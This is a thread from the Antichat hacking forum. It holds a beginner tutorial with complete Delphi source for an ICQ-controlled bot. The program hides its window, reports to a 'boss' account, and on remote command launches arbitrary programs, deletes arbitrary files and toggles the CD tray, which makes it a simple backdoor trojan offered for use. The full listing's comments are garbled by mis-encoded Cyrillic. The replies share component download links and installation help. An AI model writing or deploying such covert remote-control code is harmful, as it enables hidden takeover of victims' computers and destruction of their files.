Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Пишем ICQ-CONTROOLLL (https://forum.antichat.xyz/showthread.php?t=182483)

t3zo 27.02.2010 16:57

Пишем ICQ-CONTROOLLL
 
Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!!
Начнем!!!
Я буду использовать delphi!
Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient
В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так:
Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ICQClient, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    ICQClient1: TICQClient;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял!
Давайте напишем, что будет делать программа, при нажатии буттон 1!
Но перед этим, объявите глобальную переменную boss integer!
Код:

implementation

{$R *.dfm}
var boss:integer; //Глобальная переменная
procedure TForm1.Button1Click(Sender: TObject);
begin
 IcqClient1.UIN := strtoint(Edit1.text);  //Из первого едита берем уин бота
 IcqClient1.Password := Edit2.Text;  //Из второго едита берем пасс от бота
 boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3
 IcqClient1.Login();    //коннектимся....
end;

Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в Object inspector перейдите во вкладку Events!Там есть процедура
OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе
Код:

procedure TForm1.ICQClient1Login(Sender: TObject);
begin

end;

Пропишим-ка, чтоб он нам отправил - IcqClient1.SendMessage(boss,'Bot is online');
Прекрасно...Теперь если будет коннект, то нам пришлют сообщ:)
Код:

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн!
end;

Так теперь пропишем процедуру button2click, я предлагаю сделать программу
хайд! application.ShowMainForm := false;
Код:

procedure TForm1.Button2Click(Sender: TObject);
begin
 application.ShowMainForm := false;//скроемся!
end;

Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура OnMessageRecv, нажмите пару раз!!
Должно у вас в сурсе выглядеть так -
Код:


procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin

end;

Объявим переменную cmd строковой!var cmd:string;
Теперь давайте составим комманды!!
Код:

*help - help
*start - Это у нас будет стартовать проги
*deletefile - это у нас будет удалять проги
*Cd_open - открывает смдюк //для этого добавьте в uses MMSystem;
*Cd_close - закрывает сидюк

Давайте пропишем!!!
Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд!
Код:

cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                                                '*help - help'+#13#10+
                                                '*start -  Это у нас будет стартовать проги'+#13#10+
                                                '*deletefile -это у нас будет удалять проги'+#13#10+
                                                '*Cd_open - открывает смдюк '+#13#10+
                                                '*Cd_close - закрывает сидюк');

Я думаю уже все поняли как строить запросы)Давайте по порядку!!!!
Начнем со *start! Вот тут я думаю будет интересно!!
Нам надо понять что это *start и какая-то прога!!Помнится есть copy() :)
Код:

if copy(cmd,1,pos(' ',cmd)-1) = '*start'
Теперь давайте пропишем что должен делать!!
Код:

 
WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки!
  IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд

Теперь давайте *Deletefile принцип как и у *start
Код:

if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд
 begin
  deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил !
  IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд!
 end;

Так у нас уже 3 комманды:)*help *start *deletefile
Давайте уже пропишем чтоб закрывал сидюк и открывал....
Тут все просто просто если cmd = '*Cd_open' то открыть сидюк!
Код:

if cmd='*Cd_open' then
 begin
  mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем
  IcqClient1.SendMessage(boss,cmd+' done');
 end;

 if cmd='*Cd_close' then
 begin
  mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем
  IcqClient1.SendMessage(boss,cmd+' done');
 end;

Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия...

Вот весь код!
Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ICQClient, StdCtrls, MMSystem;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    ICQClient1: TICQClient;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    procedure ICQClient1Login(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
var boss:integer; //Ãëîáàëüíàÿ ïåðåìåííàÿ
procedure TForm1.Button1Click(Sender: TObject);
begin
 IcqClient1.UIN := strtoint(Edit1.text);  //Èç ïåðâîãî åäèòà áåðåì óèí áîòà
 IcqClient1.Password := Edit2.Text;  //Èç âòîðîãî åäèòà áåðåì ïàññ îò áîòà
 boss := strtoint(Edit3.Text); //Çàïîëíÿåì ïåðåìåííóþ áîññ ãëàâíûì óèíîì èõ åäèò3
 IcqClient1.Login();    //êîííåêòèìñÿ....
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 application.ShowMainForm := false;
end;

procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
var cmd:string;
begin
 cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                                                '*help - help'+#13#10+
                                                '*start - Ýòî ó íàñ áóäåò ñòàðòîâàòü ïðîãè '+#13#10+
                                                '*deletefile - ýòî ó íàñ áóäåò óäàëÿòü ïðîãè'+#13#10+
                                                '*Cd_open - îòêðûâàåò ñìäþê //äëÿ ýòîãî äîáàâüòå â uses MMSystem;'+#13#10+
                                                '*Cd_close - çàêðûâàåò ñèäþê');
 if copy(cmd,1,pos(' ',cmd)-1) = '*start' then
 begin
  WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);
  IcqClient1.SendMessage(boss,cmd+' done');
  end;

 if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then
 begin
  deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));
  IcqClient1.SendMessage(boss,cmd+' done');
 end;

 if cmd='*Cd_open' then
 begin
  mciSendString('Set cdaudio door open wait', nil, 0, handle);
  IcqClient1.SendMessage(boss,cmd+' done');
 end;

 if cmd='*Cd_close' then
 begin
  mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  IcqClient1.SendMessage(boss,cmd+' done');
 end;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
 IcqClient1.SendMessage(boss,'Bot is online');
end;

end.

(с)opyright by t3zo
P.S. Писал 2часа статью, надеюсь вы по достоинству оцените!!!Ваш t3zo...

Статья для новичков...

t3zo 27.02.2010 17:14

ICQCLIENT

http://slil.ru/28633239

Vlad3d 27.02.2010 18:50

перезалей

t3zo 27.02.2010 18:52

http://slil.ru/28715580

Vlad3d 27.02.2010 19:27

не много не по теме...
Не могу поставить компонент...точнее поставил его но вкладка IcqClients не появилась...

Ставил раньше компонент было все норм(потом переустановил делфи).
Пробовал удалять и ставить компонент заного, не помогло. Хотя видно что копмонент стоит.

-----------------------------
добавлено через 10 сек


нашел компанент в samples без значка :D

t3zo 27.02.2010 19:40

Он во вкладке samples


Время: 16:14